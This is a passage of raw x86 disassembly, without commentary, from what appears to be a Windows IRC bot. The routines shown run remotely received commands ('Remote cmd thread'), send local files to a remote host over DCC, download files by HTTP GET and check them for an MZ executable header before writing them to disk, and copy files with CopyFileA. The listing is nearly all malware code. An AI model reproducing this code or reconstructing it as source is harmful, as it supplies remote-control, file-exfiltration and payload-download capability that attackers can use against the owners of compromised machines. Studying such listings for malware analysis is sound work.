; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_5BB] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call dword_417248 ; recv mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call dword_41724C ; htonl mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C ; fwrite add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 ; ftell pop ecx mov [ebp+var_5EC], eax call sub_416B64 ; clock cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_8EC] call sub_416B76 ; ftell pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call dword_417244 ; inet_addr push eax call dword_41724C ; htonl push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 ; clock cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, byte_41DE30 mov [ebp+var_284], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset dword_4185C4 lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax loc_402BF2: ; CODE XREF: sub_402A32+1B1j mov eax, 